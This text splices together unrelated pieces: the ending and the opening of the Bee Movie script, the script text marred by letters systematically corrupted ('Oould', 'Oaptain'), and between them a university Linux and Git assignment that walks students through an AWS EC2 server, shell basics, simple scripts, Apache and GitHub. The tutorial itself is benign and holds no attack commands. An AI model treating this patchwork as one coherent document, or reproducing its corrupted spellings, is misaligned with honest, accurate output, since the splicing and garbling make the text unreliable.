felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that. Special thanks to SergeiK.

SEIS 665 Assignment 2: Linux & Git Overview This week we will focus on becoming familiar with launching a Linux server and working with some basic Linux and Git commands. We will use AWS to launch and host the Linux server. AWS might seem a little confusing at this point. Don’t worry, we will gain much more hands-on experience with AWS throughout the course. The goal is to get you comfortable working with the technology and not overwhelm you with all the details. Requirements You need to have a personal AWS account and GitHub account for this assignment. You should also read the Git Hands-on Guide and Linux Hands-on Guide before beginning this exercise. A word about grading One of the key DevOps practices we learn about in this class is the use of automation to increase the speed and repeatability of processes. Automation is utilized during the assignment grading process to review and assess your work. It’s important that you follow the instructions in each assignment and type in required files and resources with the proper names. All names are case sensitive, so a name like "Web1" is not the same as "web1". If you misspell a name, use the wrong case, or put a file in the wrong directory location you will lose points on your assignment. This is the easiest way to lose points, and also the most preventable. You should always double-check your work to make sure it accurately reflects the requirements specified in the assignment. You should always carefully review the content of your files before submitting your assignment. The assignment Let’s get started! Create GitHub repository The first step in the assignment is to setup a Git repository on GitHub. We will use a special solution called GitHub Classroom for this course which automates the process of setting up student assignment repositories. Here are the basic steps: Click on the following link to open Assignment 2 on the GitHub Classroom site: https://classroom.github.com/a/K4zcVmX- (Links to an external site.)Links to an external site. Click on the Accept this assignment button. GitHub Classroom will provide you with a URL (https) to access the assignment repository. Either copy this address to your clipboard or write it down somewhere. You will need to use this address to set up the repository on a Linux server. Example: https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git At this point your new repository to ready to use. The repository is currently empty. We will put some content in there soon! Launch Linux server The second step in the assignment is to launch a Linux server using AWS EC2. The server should have the following characteristics: Amazon Linux 2 AMI 64-bit (usually the first option listed) Located in a U.S. region (us-east-1) t2.micro instance type All default instance settings (storage, vpm, security group, etc.) I’ve shown you how to launch EC2 instances in class. You can review it on Canvas. Once you launch the new server, it may take a few minutes to provision. Log into server The next step is to log into the Linux server using a terminal program with a secure shell (SSH) support. You can use iTerm2 (Links to an external site.)Links to an external site. on a Mac and GitBash/PuTTY (Links to an external site.)Links to an external site. on a PC. You will need to have the private server key and the public IP address before attempting to log into the server. The server key is basically your password. If you lose it, you will need to terminate the existing instance and launch a new server. I recommend reusing the same key when launching new servers throughout the class. Note, I make this recommendation to make the learning process easier and not because it is a common security practice. I’ve shown you how to use a terminal application to log into the instance using a Windows desktop. Your personal computer or lab computer may be running a different OS version, but the process is still very similar. You can review the videos on the Canvas. Working with Linux If you’ve made it this far, congratulations! You’ve made it over the toughest hurdle. By the end of this course, I promise you will be able to launch and log into servers in your sleep. You should be looking at a login screen that looks something like this: Last login: Mon Mar 21 21:17:54 2016 from 174-20-199-194.mpls.qwest.net __| __|_ ) _| ( / Amazon Linux AMI ___|\___|___| https://aws.amazon.com/amazon-linux-ami/2015.09-release-notes/ 8 package(s) needed for security, out of 17 available Run "sudo yum update" to apply all updates. ec2-user@ip-172-31-15-26 ~]$ Your terminal cursor is sitting at the shell prompt, waiting for you to type in your first command. Remember the shell? It is a really cool program that lets you start other programs and manage services on the Linux system. The rest of this assignment will be spent working with the shell. Note, when you are asked to type in a command in the steps below, don’t type in the dollar-sign ($) character. This is just meant to represent the command prompt. The actual commands are represented by the characters to the right of the command prompt. Let’s start by asking the shell for some help. Type in: $ help The shell provides you with a list of commands you can run along with possible command options. Next, check out one of the pages in the built-in manual: $ man ls A man page will appear with information on how to use the ls command. This command is used to list the contents of file directories. Either space through the contents of the man page or hit q to exit. Most of the core Linux commands have man pages available. But honestly, some of these man pages are a bit hard to understand. Sometimes your best bet is to search on Google if you are trying to figure out how to use a specific command. When you initially log into Linux, the system places you in your home directory. Each user on the system has a separate home directory. Let’s see where your home directory is located: $ pwd The response should be /home/ec2-user. The pwd command is handy to remember if you ever forget what file directory you are currently located in. If you recall from the Linux Hands-on Guide, this directory is also your current working directory. Type in: $ cd / The cd command let’s you change to a new working directory on the server. In this case, we changed to the root (/) directory. This is the parent of all the other directories on the file system. Type in: $ ls The ls command lists the contents of the current directory. As you can see, root directory contains many other directories. You will become familiar with these directories over time. The ls command provides a very basic directory listing. You need to supply the command with some options if you want to see more detailed information. Type in: $ ls -la See how this command provides you with much more detailed information about the files and directories? You can use this detailed listing to see the owner, group, and access control list settings for each file or directory. Do you see any files listed? Remember, the first character in the access control list column denotes whether a listed item is a file or a directory. You probably see a couple files with names like .autofsck. How come you didn’t see this file when you typed in the lscommand without any options? (Try to run this command again to convince yourself.) Files names that start with a period are called hidden files. These files won’t appear on normal directory listings. Type in: $ cd /var Then, type in: $ ls You will see a directory listing for the /var directory. Next, type in: $ ls .. Huh. This directory listing looks the same as the earlier root directory listing. When you use two periods (..) in a directory path that means you are referring to the parent directory of the current directory. Just think of the two dots as meaning the directory above the current directory. Now, type in: $ cd ~ $ pwd Whoa. We’re back at our home directory again. The tilde character (~) is another one of those handy little directory path shortcuts. It always refers to our personal home directory. Keep in mind that since every user has their own home directory, the tilde shortcut will refer to a unique directory for each logged-in user. Most students are used to navigating a file system by clicking a mouse in nested graphical folders. When they start using a command-line to navigate a file system, they sometimes get confused and lose track of their current position in the file system. Remember, you can always use the pwd command to quickly figure out what directory you are currently working in. Let’s make some changes to the file system. We can easily make our own directories on the file system. Type: mkdir test Now type: ls Cool, there’s our new test directory. Let’s pretend we don’t like that directory name and delete it. Type: rmdir test Now it’s gone. How can you be sure? You should know how to check to see if the directory still exists at this point. Go ahead and check. Let’s create another directory. Type in: $ mkdir documents Next, change to the new directory: $ cd documents Did you notice that your command prompt displays the name of the current directory? Something like: [ec2-user@ip-172-31-15-26 documents]$. Pretty handy, huh? Okay, let’s create our first file in the documents directory. This is just an empty file for training purposes. Type in: $ touch paper.txt Check to see that the new file is in the directory. Now, go back to the previous directory. Remember the double dot shortcut? $ cd .. Okay, we don’t like our documents directory any more. Let’s blow it away. Type in: $ rmdir documents Uh oh. The shell didn’t like that command because the directory isn’t empty. Let’s change back into the documents directory. But this time don’t type in the full name of the directory. You can let shell auto-completion do the typing for you. Type in the first couple characters of the directory name and then hit the tab key: $ cd doc<tab> You should use the tab auto-completion feature often. It saves typing and makes working with the Linux file system much much easier. Tab is your friend. Now, remove the file by typing: $ rm paper.txt Did you try to use the tab key instead of typing in the whole file name? Check to make sure the file was deleted from the directory. Next, create a new file: $ touch file1 We like file1 so much that we want to make a backup copy. Type: $ cp file1 file1-backup Check to make sure the new backup copy was created. We don’t really like the name of that new file, so let’s rename it. Type: $ mv file1-backup backup Moving a file to the same directory and giving it a new name is basically the same thing as renaming it. We could have moved it to a different directory if we wanted. Let’s list all of the files in the current directory that start with the letter f: $ ls f* Using wildcard pattern matching in file commands is really useful if you want the command to impact or filter a group of files. Now, go up one directory to the parent directory (remember the double dot shortcut?) We tried to remove the documents directory earlier when it had files in it. Obviously that won’t work again. However, we can use a more powerful command to destroy the directory and vanquish its contents. Behold, the all powerful remove command: $ rm -fr documents Did you remember to use auto-completion when typing in documents? This command and set of options forcibly removes the directory and its contents. It’s a dangerous command wielded by the mightiest Linux wizards. Okay, maybe that’s a bit of an exaggeration. Just be careful with it. Check to make sure the documents directory is gone before proceeding. Let’s continue. Change to the directory /var and make a directory called test. Ugh. Permission denied. We created this darn Linux server and we paid for it. Shouldn’t we be able to do anything we want on it? You logged into the system as a user called ec2-user. While this user can create and manage files in its home directory, it cannot change files all across the system. At least it can’t as a normal user. The ec2-user is a member of the root group, so it can escalate its privileges to super-user status when necessary. Let’s try it: $ sudo mkdir test Check to make sure the directory exists now. Using sudo we can execute commands as a super-user. We can do anything we want now that we know this powerful new command. Go ahead and delete the test directory. Did you remember to use sudo before the rmdir command? Check to make sure the directory is gone. You might be asking yourself the question: why can we list the contents of the /var directory but not make changes? That’s because all users have read access to the /var directory and the ls command is a read function. Only the root users or those acting as a super-user can write changes to the directory. Let’s go back to our home directory: $ cd ~ Editing text files is a really common task on Linux systems because many of the application configuration files are text files. We can create a text file by using a text editor. Type in: $ nano myfile.conf The shell starts up the nano text editor and places your terminal cursor in the editing screen. Nano is a simple text-based word processor. Type in a few lines of text. When you’re done writing your novel, hit ctrl-x and answer y to the prompt to save your work. Finally, hit enter to save the text to the filename you specified. Check to see that your file was saved in the directory. You can take a look at the contents of your file by typing: $ cat myfile.conf The cat command displays your text file content on the terminal screen. This command works fine for displaying small text files. But if your file is hundreds of lines long, the content will scroll down your terminal screen so fast that you won’t be able to easily read it. There’s a better way to view larger text files. Type in: $ less myfile.conf The less command will page the display of a text file, allowing you to page through the contents of the file using the space bar. Your text file is probably too short to see the paging in action though. Hit q to quit out of the less text viewer. Hit the up-arrow key on your keyboard a few times until the commmand nano myfile.conf appears next to your command prompt. Cool, huh? The up-arrow key allows you to replay a previously run command. Linux maintains a list of all the commands you have run since you logged into the server. This is called the command history. It’s a really useful feature if you have to re-run a complex command again. Now, hit ctrl-c. This cancels whatever command is displayed on the command line. Type in the following command to create a couple empty files in the directory: $ touch file1 file2 file3 Confirm that the files were created. Some commands, like touch. allow you to specify multiple files as arguments. You will find that Linux commands have all kinds of ways to make tasks more efficient like this. Throughout this assignment, we have been running commands and viewing results on the terminal screen. The screen is the standard place for commands to output results. It’s known as the standard out (stdout). However, it’s really useful to output results to the file system sometimes. Type in: $ ls > listing.txt Take a look at the directory listing now. You just created a new file. View the contents of the listing.txt file. What do you see? Instead of sending the output from the ls command to the screen we sent it to a text file. Let’s try another one. Type: $ cat myfile.conf > listing.txt Take a look at the contents of the listing.txt file again. It looks like your myfile.conf file now. It’s like you made a copy of it. But what happened to the previous content in the listing.txt file? When you redirect the output of a command using the right angle-bracket character (>), the output overwrites the existing file. Type this command in: $ cat myfile.conf >> listing.txt Now look at the contents of the listing.txt file. You should see your original content displayed twice. When you use two angle-bracket characters in the commmand the output appends (or adds to) the file instead of overwriting it. We redirected the output from a command to a text file. It’s also possible to redirect the input to a command. Typically we use a keyboard to provide input, but sometimes it makes more sense to input a file to a command. For example, how many words are in your new listing.txt file? Let’s find out. Type in: $ wc -w < listing.txt Did you get a number? This command inputs the listing.txt file into a word count program called wc. Type in the command: $ ls /usr/bin The terminal screen probably scrolled quickly as filenames flashed by. The /usr/bin directory holds quite a few files. It would be nice if we could page through the contents of this directory. Well, we can. We can use a special shell feature called pipes. In previous steps, we redirected I/O using the file system. Pipes allow us to redirect I/O between programs. We can redirect the output from one program into another. Type in: $ ls /usr/bin | less Now the directory listing is paged. Hit the spacebar to page through the listing. The pipe, represented by a vertical bar character (|), takes the output from the ls command and redirects it to the less command where the resulting output is paged. Pipes are super powerful and used all the time by savvy Linux operators. Hit the q key to quit the paginated directory listing command. Working with shell scripts Now things are going to get interesting. We’ve been manually typing in commands throughout this exercise. If we were running a set of repetitive tasks, we would want to automate the process as much as possible. The shell makes it really easy to automate tasks using shell scripts. The shell provides many of the same features as a basic procedural programming language. Let’s write some code. Type in this command: $ j=123 $ echo $j We just created a variable named j referencing the string 123. The echo command printed out the value of the variable. We had to use a dollar sign ($) when referencing the variable in another command. Next, type in: $ j=1+1 $ echo $j Is that what you expected? The shell just interprets the variable value as a string. It’s not going to do any sort of computation. Typing in shell script commands on the command line is sort of pointless. We want to be able to create scripts that we can run over-and-over. Let’s create our first shell script. Use the nano editor to create a file named myscript. When the file is open in the editor, type in the following lines of code: #!/bin/bash echo Hello $1 Now quit the editor and save your file. We can run our script by typing: $ ./myscript World Er, what happened? Permission denied. Didn’t we create this file? Why can’t we run it? We can’t run the script file because we haven’t set the execute permission on the file. Type in: $ chmod u+x myscript This modifies the file access control list to allow the owner of the file to execute it. Let’s try to run the command again. Hit the up-arrow key a couple times until the ./myscript World command is displayed and hit enter. Hooray! Our first shell script. It’s probably a bit underwhelming. No problem, we’ll make it a little more complex. The script took a single argument called World. Any arguments provided to a shell script are represented as consecutively numbered variables inside the script ($1, $2, etc). Pretty simple. You might be wondering why we had to type the ./ characters before the name of our script file. Try to type in the command without them: $ myscript World Command not found. That seems a little weird. Aren’t we currently in the directory where the shell script is located? Well, that’s just not how the shell works. When you enter a command into the shell, it looks for the command in a predefined set of directories on the server called your PATH. Since your script file isn’t in your special path, the shell reports it as not found. By typing in the ./ characters before the command name you are basically forcing the shell to look for your script in the current directory instead of the default path. Create another file called cleanup using nano. In the file editor window type: #!/bin/bash # My cleanup script mkdir archive mv file* archive Exit the editor window and save the file. Change the permissions on the script file so that you can execute it. Now run the command: $ ./cleanup Take a look at the file directory listing. Notice the archive directory? List the contents of that directory. The script automatically created a new directory and moved three files into it. Anything you can do manually at a command prompt can be automated using a shell script. Let’s create one more shell script. Use nano to create a script called namelist. Here is the content of the script: #!/bin/bash # for-loop test script names='Jason John Jane' for i in $names do echo Hello $i done Change the permissions on the script file so that you can execute it. Run the command: $ ./namelist The script will loop through a set of names stored in a variable displaying each one. Scripts support several programming constructs like for-loops, do-while loops, and if-then-else. These building blocks allow you to create fairly complex scripts for automating tasks. Installing packages and services We’re nearing the end of this assignment. But before we finish, let’s install some new software packages on our server. The first thing we should do is make sure all the current packages installed on our Linux server are up-to-date. Type in: $ sudo yum update -y This is one of those really powerful commands that requires sudo access. The system will review the currently installed packages and go out to the Internet and download appropriate updates. Next, let’s install an Apache web server on our system. Type in: $ sudo yum install httpd -y Bam! You probably never knew that installing a web server was so easy. We’re not going to actually use the web server in this exercise, but we will in future assignments. We installed the web server, but is it actually running? Let’s check. Type in: $ sudo service httpd status Nope. Let’s start it. Type: $ sudo service httpd start We can use the service command to control the services running on the system. Let’s setup the service so that it automatically starts when the system boots up. Type in: $ sudo chkconfig httpd on Cool. We installed the Apache web server on our system, but what other programs are currently running? We can use the pscommand to find out. Type in: $ ps -ax Lots of processes are running on our system. We can even look at the overall performance of our system using the topcommand. Let’s try that now. Type in: $ top The display might seem a little overwhelming at first. You should see lots of performance information displayed including the cpu usage, free memory, and a list of running tasks. We’re almost across the finish line. Let’s make sure all of our valuable work is stored in a git repository. First, we need to install git. Type in the command: $ sudo yum install git -y Check your work It’s very important to check your work before submitting it for grading. A misspelled, misplaced or missing file will cost you points. This may seem harsh, but the reality is that these sorts of mistakes have consequences in the real world. For example, a server instance could fail to launch properly and impact customers because a single required file is missing. Here is what the contents of your git repository should look like before final submission: ┣archive ┃ ┣ file1 ┃ ┣ file2 ┃ ┗ file3 ┣ namelist ┗ myfile.conf Saving our work in the git repository Next, make sure you are still in your home directory (/home/ec2-user). We will install the git repository you created at the beginning of this exercise. You will need to modify this command by typing in the GitHub repository URL you copied earlier. $ git clone <your GitHub URL here>.git Example: git clone https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git The git application will ask you for your GitHub username and password. Note, if you have multi-factor authentication enabled on your GitHub account you will need to provide a personal token instead of your password. Git will clone (copy) the repository from GitHub to your Linux server. Since the repository is empty the clone happens almost instantly. Check to make sure that a sub-directory called "hw2-seis665-02-spring2019-<username>" exists in the current directory (where <username> is your GitHub account name). Git automatically created this directory as part of the cloning process. Change to the hw2-seis665-02-spring2019-<username> directory and type: $ ls -la Notice the .git hidden directory? This is where git actually stores all of the file changes in your repository. Nothing is actually in your repository yet. Change back to the parent directory (cd ..). Next, let’s move some of our files into the repository. Type: $ mv archive hw2-seis665-02-spring2019-<username> $ mv namelist hw2-seis665-02-spring2019-<username> $ mv myfile.conf hw2-seis665-02-spring2019-<username> Hopefully, you remembered to use the auto-complete function to reduce some of that typing. Change to the hw2-seis665-02-spring2019-<username> directory and list the directory contents. Your files are in the working directory, but are not actually stored in the repository because they haven’t been committed yet. Type in: $ git status You should see a list of untracked files. Let’s tell git that we want these files tracked. Type in: $ git add * Now type in the git status command again. Notice how all the files are now being tracked and are ready to be committed. These files are in the git staging area. We’ll commit them to the repository next. Type: $ git commit -m 'assignment 2 files' Next, take a look at the commit log. Type: $ git log You should see your commit listed along with an assigned hash (long string of random-looking characters). Finally, let’s save the repository to our GitHub account. Type in: $ git push origin master The git client will ask you for your GitHub username and password before pushing the repository. Go back to the GitHub.com website and login if you have been logged out. Click on the repository link for the assignment. Do you see your files listed there? Congratulations, you completed the exercise! Terminate server The last step is to terminate your Linux instance. AWS will bill you for every hour the instance is running. The cost is nominal, but there’s no need to rack up unnecessary charges. Here are the steps to terminate your instance: Log into your AWS account and click on the EC2 dashboard. Click the Instances menu item. Select your server in the instances table. Click on the Actions drop down menu above the instances table. Select the Instance State menu option Click on the Terminate action. Your Linux instance will shutdown and disappear in a few minutes. The EC2 dashboard will continue to display the instance on your instance listing for another day or so. However, the state of the instance will be terminated. Submitting your assignment — IMPORTANT! If you haven’t already, please e-mail me your GitHub username in order to receive credit for this assignment. There is no need to email me to tell me that you have committed your work to GitHub or to ask me if your GitHub submission worked. If you can see your work in your GitHub repository, I can see your work.

Bee Movie script for educational purposes only, anyways According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Coming! Hang on a second. Hello? Barry? Adam? Can you believe this is happening? I can't. I'll pick you up. Looking sharp. Use the stairs, Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. You got lint on your fuzz. Ow! That's me! Wave to us! We'll be in row 118,000. Bye! Barry, I told you, stop flying in the house! Hey, Adam. Hey, Barry. Is that fuzz gel? A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around The Hive. You did come back different. Hi, Barry. Artie, growing a mustache? Looks good. Hear about Frankie? Yeah. You going to the funeral? No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp under the circumstances. Well, Adam, today we are men. We are! Bee-men. Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive City graduating class of 9:15. That concludes our ceremonies And begins your career at Honex Industries! Will we pick our job today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. Wonder what it'll be like? A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar 